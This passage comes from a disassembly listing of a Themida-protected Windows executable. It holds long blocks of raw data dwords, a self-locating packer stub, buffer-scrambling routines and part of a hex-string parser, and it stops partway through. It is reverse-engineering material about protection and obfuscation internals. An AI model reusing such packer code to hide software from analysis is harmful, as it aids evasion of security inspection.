; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		align 4
		dd 2 dup(0)
		dd 5CB50000h, 77E7h, 3 dup(0)
		dd 68BC0000h, 0
		dd 21220000h, 1619h, 0Ah dup(0)
		dd 230000h, 58h, 4 dup(0)
		dd 40000h, 0A8690000h, 58h, 5CB50000h, 77E7h, 5	dup(0)
		dd 230000h, 10140054h, 0Eh, 3 dup(0)
		dd 621D0000h, 5Bh, 3 dup(0)
		dd 0CD920000h, 54h, 25060000h, 2 dup(0)
		dd 8D8D0000h, 304EAAFh,	7FFEh, 0Ch dup(0)
		dd 0FF7F0000h, 30403DBh, 7FFEh,	668C0000h, 0A2FA0000h
		dd 30A2h, 7 dup(0)
		dd 68BC0000h, 30DF0000h, 0A9C5h, 2 dup(0)
		dd 0A20000h, 0FFBA4EC9h, 0FF53h, 2 dup(0)
		dd 0FDFE0000h, 0F3FFh, 0
		dd 5E2E0000h, 727300A1h, 312h, 0CD920000h, 54h,	65520000h
		dd 72617473h, 70704174h, 6578652Eh, 0
		dd 33FB0000h, 6B877E7h,	98E2D8h, 3 dup(0)
		dd 73630000h, 24F3h, 2 dup(0)
		dd 0FFB00000h, 1C1h, 5 dup(0)
		dd 0E1D90000h, 690B78BFh, 52h, 9 dup(0)
		dd 0B8h, 0Fh dup(0)
		dd 2FC90000h, 59h, 4 dup(0)
		dd 0F655h, 2 dup(0)
		dd 2BDE0000h, 0A1h, 0
		dd 0ED5F0000h, 77F7h, 5	dup(0)
		dd 0D4AD0000h, 5Bh, 6 dup(0)
		dd 5A8E0000h, 0
		dd 28Bh, 0
		dd 183B0000h, 0D9AD0058h, 54h, 0A0h dup(0)
		dd 0A7DE0000h, 58h, 0
		dd 0E5360000h, 0E477h, 0A8370000h, 333377E7h, 2	dup(33333333h)
		dd 3333h, 0B1340000h, 42C100A3h, 7F9Dh,	2 dup(0)
		dd 0CD920000h, 54h, 2 dup(0)
		dd 0A5720000h, 0E5F2h, 0E21F0000h, 5Ch,	7 dup(0)
		dd 861C0000h, 5Ah, 0
		dd 0AD4E0000h, 0AFB80058h, 0F600h, 2 dup(0)
		dd 880000h, 4 dup(0)
		dd 0FFDD0000h, 0FFA7h, 5 dup(0)
		dd 0FCFC0000h, 0FFA6h, 0
		dd 69DD0000h, 0A1h, 3 dup(0)
		dd 268C0000h, 58h, 6 dup(0)
		dd 234E0000h, 7FFEh, 6CD10000h,	0DA39C563h, 72E3h, 3 dup(0)
		dd 1B400000h, 76B4h, 0DA440000h, 2 dup(0)
		dd 0B21C77DDh, 3042D0Ah, 7FFEh,	0
		dd 3E0000h, 0A0h, 2 dup(0)
		dd 69DD0000h, 0A1h, 0B9FB0000h,	0D6022D0Ah, 2131h, 0D9E00000h
		dd 177E7h, 2 dup(0)
		dd 9AB00000h, 0D9A4h, 2	dup(0)
		dd 0C7850000h, 30477E7h, 7FFEh,	3 dup(0)
		dd 0A2850000h, 54h, 8 dup(0)
		dd 0F7200000h, 4EAAFFFFh, 20059h, 0EBB30000h, 77F7h, 3 dup(0)
		dd 40000h, 3 dup(0)
		dd 8A840000h, 0B9EBh, 3	dup(0)
		dd 0ABDA0000h, 5B7Ch, 4	dup(0)
		dd 189A0000h, 77DDh, 7 dup(0)
		dd 40h,	0DC190000h, 9D620058h, 48F00058h, 495h,	0
		dd 10000h, 0
		dd 0B7FE0000h, 5Bh, 5 dup(0)
		dd offset dword_5C0000
		dd 4 dup(0)
		dd 7D080000h, 0C34h, 4 dup(0)
		dd 50240000h, 77FCh, 3 dup(0)
		dd 5CE50000h, 8873h, 0
		dd 0C7260000h, 9B5677E7h, 0B80054h, 0B000000h, 0C20374C0h
		dd 448B0018h, 0E8530C24h, 0
		dd 17C3815Bh, 89000000h, 8910245Ch, 5B142444h, 0A1A037B8h
		dd 8BE0FF00h, 0FF042444h, 0E0h,	17h dup(0)
		dd 6B9C0000h, 632C024Ah, 5Bh, 7	dup(0)
		dd 3040000h, 7FFEh, 0A5FD0000h,	0D2D877E7h, 0E5C1h, 0A80000h
		dd 5C0000h, 3FF40002h, 59h, 5 dup(0)
		dd 21680000h, 0B7CE77E8h, 0A9DFE5C1h, 7FE5h, 3 dup(0)
		dd 58600000h, 8D0B6DD3h, 14EBh,	620000h, 3 dup(0)
		dd 0B40000h, 0Fh dup(0)
		dd 0A9360000h, 987Eh, 2Eh dup(0)
		dd 0EE80000h, 8	dup(0)
		dd 0EB8D0000h, 0
		dd 0FF170000h, 0FFFBh, 2 dup(0)
		dd 0EE060000h, 3 dup(0)
		dd 68BC0000h, 0D8DD0000h, 51A33AAEh, 446Dh, 0
		dd 69DD0000h, 0A1h, 0
		dd 0FFFF0000h, 77FFh, 2	dup(0)
		dd 94300000h, 268CFFFFh, 58h, 0
		dd 909C0000h, 27331D3h,	0CC42h,	2 dup(0)
		dd 0A3F0000h, 5435h, 4 dup(0)
		dd 734E0000h, 0AE27h, 0
		dd 5EF10000h, 6FC6005Ah, 0DE15h, 3A00000h, 4 dup(0)
		dd 20000h, 0
		dd 0FEF80000h, 0E00012h, 1Ch dup(0)
		dd 43790000h, 1586h, 6 dup(0)
		dd 68BC0000h, 3040000h,	7FFEh, 3 dup(0)
		dd 4E920000h, 0E502h, 4	dup(0)
		dd 0FFB00000h, 0FFFFh, 3 dup(0)
		dd 0EAE60000h, 0C41h, 0
		dd 242h, 5 dup(0)
		dd 8B3B0000h, 6BBFh, 2 dup(0)
		dd 2EC0000h, 0DD9900C1h, 54h, 0Ah dup(0)
		dd 6BC00000h, 3B350000h, 13A30603h, 0B8EBh, 2 dup(0)
		dd 0C0310000h, 5F080001h, 246F60h, 0
		dd 3B360000h, 0B992h, 69DD0000h, 0A1h, 3 dup(0)
		dd 20000h, 2 dup(0)
		dd 5CFF0000h, 58h, 0FEF80000h, 93EF0012h, 77E7h, 0
		dd 0DFE90000h, 0F9FCh, 23D70000h, 77DDh, 0B2130000h, 54h
		dd 23E80000h, 0A2h, 2 dup(0)
aWQw		db 'Ôw²ŸW',0
		align 4
		dd 25Ah, 941C0000h, 8CFFFFh, 0
		dd 10000h, 6 dup(0)
		dd 17530000h, 5Ah, 5 dup(0)
		dd 10000000h, 40h, 6 dup(0)
		dd 0FFDD0000h, 0FFA7h, 2 dup(0)
		dd 54AB0000h, 5Ah, 0AFh, 7 dup(0)
		dd 10000h, 69DD0000h, 0A1h, 45B90000h, 4 dup(0)
		dd 183B0000h, 58h, 7C0000h, 0
		dd 95A00000h, 5Bh, 0
		dd 1FFF0000h, 8	dup(0)
		dd 86830000h, 0F9h, 0
		dd 0C4D90000h, 3766h, 7A300000h, 0FF9Ah, 5 dup(0)
		dd 96D6h, 2 dup(0)
		dd 40000h, 0FCFC0000h, 35B8001h, 0Bh dup(0)
		dd 0FF7F0000h, 3DBh, 0AE060000h, 99950054h, 0A5h, 0Ch dup(0)
		dd 0CBA90000h, 57h, 2 dup(0)
		dd 93930000h, 0A1h, 4 dup(0)
		dd 27A70000h, 7FFEh, 0
		dd 0FFFD0000h, 1F1h, 0
		dd 2E10000h, 7FA6h, 3 dup(0)
		dd 3040000h, 941C7FFEh,	0FEF8FFFFh, 12h, 79630000h, 77E7h
		dd 2 dup(0)
		dd 0FEF80000h, 12h, 30DF0000h, 7F5DA9C5h, 0E803259h, 0F200000h
		dd 3 dup(0)
		dd 0C9000000h, 76CD0057h, 6CD177E7h, 0C563h, 0A0h, 0
		dd 3040000h, 7FFEh, 3 dup(0)
		dd 3040000h, 7FFEh, 0
		dd 0EFDD0000h, 3, 0
		dd 0C4580000h, 54h, 6 dup(0)
		dd 28Bh, 0
		dd 20000h, 4 dup(0)
		dd 43770000h, 0
		dd 93830000h, 0FFFFh, 827C0000h, 136h, 2Fh dup(0)
		dd 69DD0000h, 0A1h, 3 dup(0)
		dd 3040000h, 7FFEh, 2 dup(0)
		dd 3040000h, 7FFEh, 3 dup(0)
		dd 0A0C0000h, 0F2B9h, 3	dup(0)
		dd 0FFB00000h, 241h, 0B1h dup(0)
		dd 9B090000h, 3268F9ECh, 0A2h, 0C1B40000h, 3FFFh, 2 dup(0)
		dd 9D390000h, 1C5Dh, 5 dup(0)
		dd 0A1FE0000h, 0B1h, 0
		dd 450C0000h, 0
		dd 81A80000h, 23E8005Bh, 0A2h, 6 dup(0)
		dd 0FF540000h, 67C4FFFFh, 8 dup(0)
		dd 1050000h, 0A28h, 140000h, 0
		dd 83070000h, 80FAD1h, 4 dup(0)
		dd 0AD680000h, 3FF46B5Eh, 52D10059h, 0A6E9B2FDh, 0CD9277EBh
		dd 43060054h, 723Dh, 3 dup(0)
		dd 0BDFD0000h, 0E700463h, 202h,	7 dup(0)
		dd 30DF0000h, 0
		dd 68CC0000h, 7925h, 0A8F00000h, 0E654h, 5 dup(0)
		dd 269E0000h, 840058h, 0
		dd 0A5FE0000h, 54h, 0
		dd 0B2640000h, 57h, 4 dup(0)
		dd 780000h, 9 dup(0)
		dd 181B0000h, 0EEA6h, 4	dup(0)
		dd 0BAF40000h, 0FFFFh, 0
		dd 48D00000h, 58h, 0B1680000h, 0A0h, 9DF80000h,	8CFCF608h
		dd 0FFFFh, 0
		dd 0D77E0000h, 30400FEh, 6 dup(0)
		dd 0FF7F0000h, 3DBh, 3C540000h,	7FD80058h, 0CC00A3h, 0FA1C0000h
		dd 3E80h, 0
		dd 73A0000h, 5Ah, 96730000h, 78E1FE3Ch,	5Ah, 0
		dd 0BA720000h, 4 dup(0)
		dd 0E42E0000h, 3C28E398h, 0F000097Bh, 4Dh, 0Ah dup(0)
		dd 7FE80000h, 0B2h, 2 dup(0)
		dd 0DD8A0000h, 4397005Ah, 5Bh, 0B1ED0000h, 0FFFFD2B4h
		dd 0FFFFh, 0
		dd 79410000h, 7FFEh, 0
		dd 10000000h, 2	dup(0)
		dd 0BC830000h, 6E4Ah, 9	dup(0)
		dd 66810000h, 116E5h, 3	dup(0)
		dd 17B00000h, 5Ah, 9C0000h, 2 dup(0)
		dd 744A0000h, 2D0Ah, 5 dup(0)
		dd 10000h, 3 dup(0)
		dd 41910000h, 29D9h, 3 dup(0)
		dd 9BAC0000h, 0F88000A3h, 1D3Ah, 0B0710000h, 0EDF6h, 4 dup(0)
		dd 7D10000h, 7 dup(0)
		dd 0EA400000h, 160Eh, 0Ch dup(0)
		dd 9D620000h, 58h, 0
		dd 0A0990000h, 5077E7h,	0FE6Eh,	3 dup(0)
		dd 8FFC0000h, 0FFFFh, 5ECC0000h, 77DDh,	0
		dd 0EEDB0000h, 59h, 61h	dup(0)
		dd 0EFA50000h, 5E65h, 30DF0000h, 0A9C5h, 0AE870000h, 33A90058h
		dd 0A0379826h, 0B400A1h, 4 dup(0)
		dd 650F0000h, 0CE08h, 2	dup(0)
		dd 13A80000h, 0DA440000h, 0C246h, 2 dup(0)
		dd 53C20000h, 0FFA7h, 5	dup(0)
		dd 0E057h, 677A0000h, 0B886h, 0Ch dup(0)
		dd 0CB590000h, 5A030057h, 6B6h,	6 dup(0)
		dd 0DFE90000h, 0F9FCh, 3 dup(0)
		dd 42770000h, 398Ch, 6 dup(0)
		dd 0A8370000h, 77E7h, 25Bh, 6 dup(0)
		dd 0DCEB0000h, 5Bh, 2 dup(0)
		dd 9C370000h, 0A1h, 0AC5E0000h,	77E7h, 3 dup(0)
		dd 269E0000h, 58h, 96230000h, 0FFFFh, 0Dh dup(0)
		dd 3040000h, 7FFEh, 2 dup(0)
		dd 0FE60000h, 0A0h, 0
		dd 0E37A0000h, 5Bh, 6 dup(0)
		dd 0A00F0000h, 0A1h, 0
		dd 0C94B0000h, 37E005Bh, 58h, 16h dup(0)
		dd 4FD80000h, 68BC09F9h, 0D0270000h, 5Ch, 9 dup(0)
		dd 183B0000h, 58h, 0FFFF0000h, 5Fh, 2 dup(0)
		dd 5EF10000h, 5Ah, 1E80000h, 0EB8D0040h, 4B1h, 2 dup(0)
		dd 3A430000h, 4E49575Ch, 53574F44h, 7379535Ch, 336D6574h
		dd 44415C32h, 49504156h, 642E3233h, 6C6Ch, 3Bh dup(0)
		dd 3A440000h, 0A6C40000h, 52F8h, 8 dup(0)
		dd 3040000h, 7FFEh, 3 dup(0)
		dd 0FFFF0000h, 0FFFFh, 2 dup(0)
		dd 0F2120000h, 2 dup(0)
		dd 0A40000h, 0
		dd 740000h, 60D10000h, 9CFF5Eh,	2 dup(0)
		dd 0FCA40000h, 161h, 3 dup(0)
		dd 120000h, 5Ah, 24240000h, 0C3CB2424h,	0FFB7h,	6BBC0000h
		dd 1024Ah, 3 dup(0)
		dd 6F0000h, 2 dup(0)
		dd 3ADB0000h, 2	dup(0)
		dd 0CDE20000h, 5Ch, 0
		dd 9F70000h, 0A1h, 2 dup(0)
		dd 230000h, 58h, 25Bh, 12540000h, 77F5h, 0D6020000h, 2131h
		dd 0A6F30000h, 0CB7B005Ch, 156Eh, 0A660000h, 7FFEh, 0
		dd 2EC0000h, 0C1h, 0Eh dup(0)
		dd 25Dh, 2 dup(0)
		dd 0FFE00000h, 12h, 0
		dd 17E90000h, 5Ah, 2 dup(0)
		dd 59F00000h, 77DDh, 7 dup(0)
		dd 5D80000h, 0BAF477E8h, 0FFFFh, 2 dup(0)
		dd 0E0000000h, 0Dh, 0F70000h, 3	dup(0)
		dd 421A0000h, 55h, 0
		dd 2E0F0000h, 77F5h, 3 dup(0)
		dd 6B9C0000h, 24Ah, 0FF540000h,	8FFFFh,	242h, 9	dup(0)
		dd 0FFB00000h, 1A1h, 2 dup(0)
		dd 2B080000h, 0FA600000h, 1B232h, 846E0000h, 24D2h, 92800000h
		dd 122Ah, 6 dup(0)
		dd 3040000h, 7FFEh, 5 dup(0)
		dd 68BC0000h, 8F0A0000h, 22BFh,	2 dup(0)
		dd 10000h, 5 dup(0)
		dd 3E680000h, 95B777E8h, 230057h, 58h, 13h dup(0)
		dd 3040000h, 3E7FFEh, 77FFh, 2 dup(0)
		dd 6B9C0000h, 94024Ah, 0Bh dup(0)
		dd 0A2180000h, 0E613FFFFh, 5Bh,	0
		dd 0BDB00000h, 0A837FFA6h, 77E7h, 8C0A0000h, 87400A1h
		dd 5 dup(0)
		dd 81A80000h, 3E3B005Bh, 0A1h, 0Ah dup(0)
		dd 3E680000h, 0A00002h,	0B6D60000h, 58h, 3 dup(0)
		dd 0E80000h, 2 dup(0)
		dd 0CA000000h, 3, 3 dup(0)
		dd 30DF0000h, 0A9C5h, 43400000h, 5Ah, 0Ch dup(0)
		dd 2BD70000h, 7561h, 0BAF40000h, 304FFFFh, 73167FFEh, 0FA4C00A3h
		dd 2078h, 0Bh dup(0)
		dd 0FF740000h, 0BCACFFFFh, 5Bh,	0BA470000h, 80A3FFA8h
		dd 0CDA6h, 3E430000h, 57h, 2 dup(0)
		dd 10000h, 0
		dd 22920000h, 0A1h, 8 dup(0)
		dd 326E0000h, 0FFABh, 0
		dd 0C96A0000h, 77D4h, 8	dup(0)
		dd 0FFF00000h, 12h, 3 dup(0)
		dd 359B0000h, 5Ah, 0
		dd 10000h, 5 dup(0)
		dd 8D8D0000h, 45FEh, 0Fh dup(0)
		dd 0BEE80000h, 3A4377DBh, 755F6D5Ch, 6361706Eh,	72656Bh
		dd 7Fh dup(0)
		dd 5Ch,	2 dup(0)
		dd 0C8E60000h, 57h, 8 dup(0)
		dd 5DD0000h, 2A1E3307h,	0FF94h,	6 dup(0)
		dd 0A2520000h, 54h, 2 dup(0)
		dd 0AE0A0000h, 2A0054h,	3 dup(0)
		dd 9B090000h, 0F9ECh, 7	dup(0)
		dd 0FFA40000h, 12h, 3 dup(0)
		dd 91110000h, 0FFFF5D38h, 0FFFFh, 0Ch dup(0)
		dd 9D390000h, 1C5Dh, 3 dup(0)
		dd 0DF140000h, 6F7Ah, 3	dup(0)
		dd 1C180000h, 800077F4h, 1Dh, 3	dup(0)
		dd 0EB000000h, 0
		dd 744B0000h, 58h, 5 dup(0)
		dd 0C96A0000h, 77D4h, 0
		dd 417E0000h, 77E8h, 0
		dd 0FA560000h, 8E400A1h, 4 dup(0)
		dd 1BF50000h, 6B56h, 7 dup(0)
		dd 0CB8A0000h, 54h, 6 dup(0)
		dd 263C0000h, 0E332h, 69DD0000h, 0A1h, 0
		dd 77F5h, 68BC0000h, 417E0000h,	685477E8h, 64696D65h, 61h
		dd 1Ch dup(0)
		dd 0FFFF0000h, 0FFFFh, 3 dup(0)
		dd 0C1B40000h, 3FFFh, 359B0000h, 5Ah, 5	dup(0)
		dd 0FEC0000h, 0A37Fh, 0
		dd 854C0000h, 58h, 0
		dd 51970000h, 0B760h, 3	dup(0)
		dd 0F83E0000h, 5 dup(0)
		dd 8C0A0000h, 0A1h, 0FFFF0000h,	0FFFFh,	0Ch dup(0)
		dd 0FF540000h, 0FFFF0012h, 1Ah dup(0)
		dd 840D0000h, 0FF5Dh, 2	dup(0)
		dd 3AE40000h, 0EB4FFA4h, 7 dup(0)
		dd 92340000h, 0FD0800A1h, 12h, 73160000h, 0A3h,	2 dup(0)
		dd 3040000h, 7FFEh, 2Ah	dup(0)
		dd 21210000h, 2121h, 3 dup(0)
		dd 900000h, 0
		dd 9ABh, 2 dup(0)
		dd 40820000h, 4A30h, 5 dup(0)
		dd 76CD0000h, 77E7h, 0
		dd 0FA1A0000h, 4EEFh, 0
		dd 31450000h, 268C00A1h, 58h, 7BFA0000h, 8C7h, 2 dup(0)
		dd 41240000h, 79B30059h, 5Ah, 5	dup(0)
		dd 0A40000h, 3 dup(0)
		dd 36360000h, 3636h, 0
		dd 0F08D0000h, 5Bh, 6 dup(0)
		dd 230000h, 54h, 230000h, 4 dup(0)
		dd 8D530000h, 0A5h, 3040000h, 7FFEh, 0
		dd 915B0000h, 0A1h, 0FCFC0000h,	8001h, 700000h,	3 dup(0)
		dd 6CD80000h, 3	dup(0)
		dd 0BA9B0000h, 0B34Bh, 4 dup(0)
		dd 3040000h, 7FFEh, 0
		dd 3040000h, 7FFEh, 3 dup(0)
		dd 0F4790000h, 0FFB077BCh, 101F1h, 9 dup(0)
		dd 8AC40000h, 18F9h, 0
		dd 8, 0Ch dup(0)
		dd 0C7850000h, 77E7h, 2	dup(0)
		dd 81A80000h, 53D005Bh,	0AB43h,	3 dup(0)
		dd 0E40000h, 4 dup(0)
		dd 10730000h, 0
		dd 33010000h, 0FFA7h, 2	dup(0)
		dd 0E90000h, 0F6C60004h, 58h, 3	dup(0)
		dd 99B30000h, 0AF2Fh, 3	dup(0)
		dd 0A5A10000h, 0BBA1h, 19h dup(0)
		dd 3C540000h, 58h, 0
		dd 94990000h, 0A1h, 3 dup(0)
		dd 70C40000h, 200A1h, 2	dup(0)
		dd 2C4C0000h, 3CA5h, 936F0000h,	7E7Eh, 5 dup(0)
		dd 60000000h, 3, 3 dup(0)
		dd 0E230000h, 202h, 6 dup(0)
		dd 4CB90000h, 8D8DDFC2h, 0E666h, 0
		dd 20000h, 81BD0000h, 0A4CA84h,	4BE90000h, 5Dh,	4 dup(0)
		dd 5B2D0000h, 0FDA2h, 3	dup(0)
		dd 821B0000h, 78E9h, 17h dup(0)
		dd 0CB810000h, 0FF410057h, 0D4D00057h, 0AE520054h, 54h
		dd 9 dup(0)
		dd 54AB0000h, 5Ah, 3040000h, 7FFEh, 0
		dd 0A0F80000h, 909Fh, 2	dup(0)
		dd 2FE80000h, 77E8h, 0DC1B0000h, 22220058h, 22222222h
		dd 12222h, 5 dup(0)
		dd 76CD0000h, 77E7h, 0
		dd 77F5h, 3040000h, 0B1497FFEh,	8E8Dh, 2 dup(0)
		dd 0F13A0000h, 4BEFh, 0
		dd 0DEBC0000h, 0E92Bh, 3 dup(0)
		dd 0A00F0000h, 0A1h, 0
		dd 5E340000h, 331Bh, 0E18F0000h, 0B821h, 0
		dd offset dword_5C0000
		dd 2, 5	dup(0)
		dd 0B1B30000h, 7FFFh, 0Dh dup(0)
		dd 3040000h, 7FFEh, 3 dup(0)
		dd 0B3720000h, 59h, 8 dup(0)
		dd 0B1340000h, 0A3h, 0
		dd 0F07D0000h, 93DA6ADDh, 7E37h, 5 dup(0)
		dd 59740000h, 0FB4C8655h, 0F191h, 0
		dd 2B790000h, 6080054h,	0FFFCh,	3 dup(0)
		dd 68BC0000h, 0A2E80000h, 0FFFFh, 6 dup(0)
		dd 156777F5h, 0FFA4h, 4	dup(0)
		dd 1C870000h, 0FFFFh, 7	dup(0)
		dd 6180000h, 77E8h, 2 dup(0)
		dd 8F7F0000h, 103DBh, 6	dup(0)
		dd 0F80000h, 0AFh, 11110000h, 1111h, 0
		dd 0ED830000h, 58h, 3 dup(0)
		dd 5FB90000h, 0E59Bh, 68BC0000h, 0
		dd 8B820000h, 77E7h, 0AE300000h, 2058Ch, 0AFD50000h, 0B21C18CFh
		dd 2D0Ah, 4 dup(0)
		dd 941C0000h, 57h, 0
		dd 0A4C60000h, 40820054h, 4A30h, 919E0000h, 0FFFFh, 0C40000h
		dd 8D8D0000h, 0E327h, 2	dup(0)
		dd 2A370000h, 0FFA3h, 0
		dd 46280000h, 14h, 5 dup(0)
		dd 0A5720000h, 0FFFFh, 0Eh dup(0)
		dd 83000000h, 2	dup(0)
		dd 0E6A90000h, 0FFFFh, 4 dup(0)
		dd 0C660000h, 77FCh, 0
		dd 3040000h, 7FFEh, 0F5660000h,	0FFFFh,	2 dup(0)
		dd 204B0000h, 0B1CADB3Bh, 0AFh,	2 dup(0)
		dd 6BD70000h, 11E8024Ah, 3 dup(0)
		dd 0B6FF0000h, 0F9FFh, 0
		dd 0A00F0000h, 0A1h, 68BC0000h,	5 dup(0)
		dd 9B090000h, 9749F9ECh, 156877E7h, 1F8700A2h, 0D554515Fh
		dd 0A0h, 0
		dd 0DFE90000h, 0Fh dup(0)
		dd 268C0000h, 58h, 0DA440040h, 0C246h, 0
		dd 6BD30000h, 24Ah, 0
		dd 10000h, 2 dup(0)
		dd 77E6h, 0D7060000h, 77E6h, 0D6EB0000h, 13822h, 5 dup(0)
		dd 52D10000h, 0D3AAB2FDh, 59h, 4 dup(0)
		dd 3040000h, 7FFEh, 0D36B0000h,	9F7D0000h, 72E1h, 0
		dd 52D10000h, 0B2FDh, 9	dup(0)
		dd 97C90000h, 0D6EB005Bh, 3822h, 2 dup(0)
		dd 0B450000h, 63A6h, 0B2120000h, 0A3390054h, 0A5E7005Ch
		dd 34E000A5h, 1910h, 0
		dd 0FCFC0000h, 180B8001h, 51E977F5h, 3FFFh, 2 dup(0)
		dd 0C4860000h, 77E7h, 6	dup(0)
		dd 25Ch, 0FCFC0000h, 8001h, 6 dup(0)
		dd 20000h, 96880000h, 0FFFFh, 5	dup(0)
		dd 21790000h, 0FFBFh, 2	dup(0)
		dd 0FFED0000h, 0FDFDh, 2 dup(0)
		dd 310E0000h, 79D0h, 0
		dd 761A0000h, 77D5h, 18170000h,	8145h, 0
		dd 0B7630000h, 0A85F797Fh, 5Ch,	0
		dd 3E00000h, 3040000h, 7FFEh, 3	dup(0)
		dd 10000h, 0FDFF0000h, 0AD0Bh, 2 dup(0)
		dd 0A00F0000h, 0A1h, 0C96A0000h, 77D4h,	96230000h, 0FF5Eh
		dd 0D8E20000h, 3C28h, 7EEE0000h, 0FFA7h, 3 dup(0)
		dd 3040000h, 2A6C7FFEh,	9F19005Ah, 19FFFFh, 7 dup(0)
		dd 10000h, 5 dup(0)
		dd 0D4D00000h, 20054h, 0Bh dup(0)
		dd 8C0A0000h, 0A1h, 0
		dd 0FFC40000h, 12h, 8 dup(0)
		dd 8B820000h, 77E7h, 3 dup(0)
		dd 6CB00000h, 0D6A2h, 10h dup(0)
		dd 6CD10000h, 0FFFFh, 10000h, 450C0000h, 0
		dd 0EBA60000h, 59h, 0AC0000h, 9	dup(0)
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_54CF3E:				; CODE XREF: start:loc_549A0Dj
		mov	eax, ebp
		mov	edx, esp
		pusha
		call	$+5
		pop	ebp
		sub	ebp, 6A8353Bh
		mov	[ebp+6A83469h],	edx
		mov	[ebp+6A832BDh],	esi
		mov	[ebp+6A8225Dh],	eax
		cmp	dword ptr [ebp+6A81599h], 0
		jz	short loc_54CF76
		mov	ebp, eax
		mov	esp, edx
		mov	eax, 1
		retn	0Ch
; ---------------------------------------------------------------------------


loc_54CF76:				; CODE XREF: start+6BF54j
		mov	eax, [esp+40h+var_1C]
		mov	[ebp+6A81F25h],	eax
		push	45h
		call	sub_54D02A
		push	783749Ah
		call	sub_54D070
		push	0A894B25h
		call	sub_54D070
		jmp	loc_54D1B4
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		dd 48474645h, 4C4B4A49h, 504F4E4Dh, 54535251h, 58575655h
		dd 5C5B5A59h, 605F5E5Dh, 64636261h, 68676665h, 6C6B6A69h
		dd 706F6E6Dh, 74737271h, 78777675h, 7C7B7A79h, 807F7E7Dh
		dd 84838281h, 88878685h, 8C8B8A89h, 908F8E8Dh, 94939291h
		dd 98979695h, 9C9B9A99h, 0A09F9E9Dh, 0A4A3A2A1h, 0A8A7A6A5h
		dd 0ACABAAA9h, 0B0AFAEADh, 0B4B3B2B1h, 0B8B7B6B5h, 0BCBBBAB9h
		dd 0C0BFBEBDh, 0C3C2C1h, 2 dup(0)
		db 2 dup(0)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_54D02A	proc near		; CODE XREF: start+6BF6Ep

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFD8h
		pusha
		call	$+5
		pop	edx
		sub	edx, 6A83629h
		mov	ebx, edx
		mov	[ebp+var_28], 0


loc_54D046:				; CODE XREF: sub_54D02A+39j
		mov	eax, [ebp+var_28]
		inc	eax
		mov	[ebp+var_28], eax
		cmp	[ebp+var_28], 80h
		jz	short loc_54D065
		mov	eax, [ebp+arg_0]
		mov	[ebx+6A83593h],	eax
		inc	[ebp+arg_0]
		inc	ebx
		jmp	short loc_54D046
; ---------------------------------------------------------------------------


loc_54D065:				; CODE XREF: sub_54D02A+2Aj
		mov	[ebp+var_24], eax
		popa
		mov	eax, [ebp+var_24]
		leave
		retn	4
sub_54D02A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_54D070	proc near		; CODE XREF: start+6BF78p start+6BF82p

var_84		= dword	ptr -84h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFF7Ch
		pusha
		call	$+5
		pop	edx
		sub	edx, 6A83672h
		lea	eax, [ebp+var_80]
		mov	ebx, [ebp+arg_0]
		mov	[ebp+var_84], 0


loc_54D096:				; CODE XREF: sub_54D070+41j
		mov	ecx, [ebp+var_84]
		rol	ebx, 1
		mov	[eax], bl
		inc	ecx
		mov	[ebp+var_84], ecx
		cmp	[ebp+var_84], 80h
		jnz	short loc_54D096
		mov	[ebp+var_84], 0
		lea	edi, [edx+6A83593h]
		lea	esi, [ebp+var_80]


loc_54D0C6:				; CODE XREF: sub_54D070+83j
		mov	cl, [esi]
		mov	ebx, 1F4h
		mov	eax, 785437ABh


loc_54D0D2:				; CODE XREF: sub_54D070+69j
		rcl	eax, cl
		mov	cl, [edi]
		rcl	eax, cl
		dec	ebx
		jnz	short loc_54D0D2
		imul	eax, ebx
		inc	edi
		inc	esi
		mov	ecx, [ebp+var_84]
		inc	ecx
		mov	[ebp+var_84], ecx
		cmp	ecx, 80h
		jnz	short loc_54D0C6
		popa
		leave
		retn	4
sub_54D070	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF0h
		mov	esi, [ebp+8]
		mov	dword ptr [ebp-4], 0
		jmp	short loc_54D110
; ---------------------------------------------------------------------------


loc_54D10C:				; CODE XREF: Themida_:0054D113j
		inc	dword ptr [ebp-4]
		inc	esi


loc_54D110:				; CODE XREF: Themida_:0054D10Aj
		cmp	byte ptr [esi],	0
		jnz	short loc_54D10C
		mov	edx, 0
		mov	esi, [ebp+8]
		mov	edi, [ebp+0Ch]
		jmp	short loc_54D1A1
; ---------------------------------------------------------------------------


loc_54D122:				; CODE XREF: Themida_:0054D1A4j
		mov	dword ptr [ebp-8], 0
		jmp	short loc_54D198
; ---------------------------------------------------------------------------


loc_54D12B:				; CODE XREF: Themida_:0054D19Cj
		mov	dword ptr [ebp-10h], 0
		mov	dword ptr [ebp-0Ch], 0
		jmp	short loc_54D185
; ---------------------------------------------------------------------------


loc_54D13B:				; CODE XREF: Themida_:0054D189j
		shl	dword ptr [ebp-10h], 4
		mov	eax, [ebp-8]
		shl	eax, 1
		add	eax, edx
		add	eax, [ebp-0Ch]
		xor	ebx, ebx
		mov	bl, [eax+esi]
		cmp	bl, 30h
		jb	short loc_54D15D
		cmp	bl, 39h
		ja	short loc_54D15D
		sub	bl, 30h
		jmp	short loc_54D17F
; ---------------------------------------------------------------------------


loc_54D15D:				; CODE XREF: Themida_:0054D151j
					; Themida_:0054D156j
		cmp	bl, 61h
		jb	short loc_54D16F
		cmp	bl, 66h
		ja	short loc_54D16F
		sub	bl, 61h
		add	bl, 0Ah
		jmp	short loc_54D17F
; ---------------------------------------------------------------------------


loc_54D16F:				; CODE XREF: Themida_:0054D160j
					; Themida_:0054D165j
		cmp	bl, 41h
		jb	short loc_54D17F
		cmp	bl, 46h
		ja	short loc_54D17F
		sub	bl, 41h
		add	bl, 0Ah


loc_54D17F:				; CODE XREF: Themida_:0054D15Bj
					; Themida_:0054D16Dj ...
		add	[ebp-10h], ebx
		inc	dword ptr [ebp-0Ch]


loc_54D185:				; CODE XREF: Themida_:0054D139j
		cmp	dword ptr [ebp-0Ch], 2
		jb	short loc_54D13B
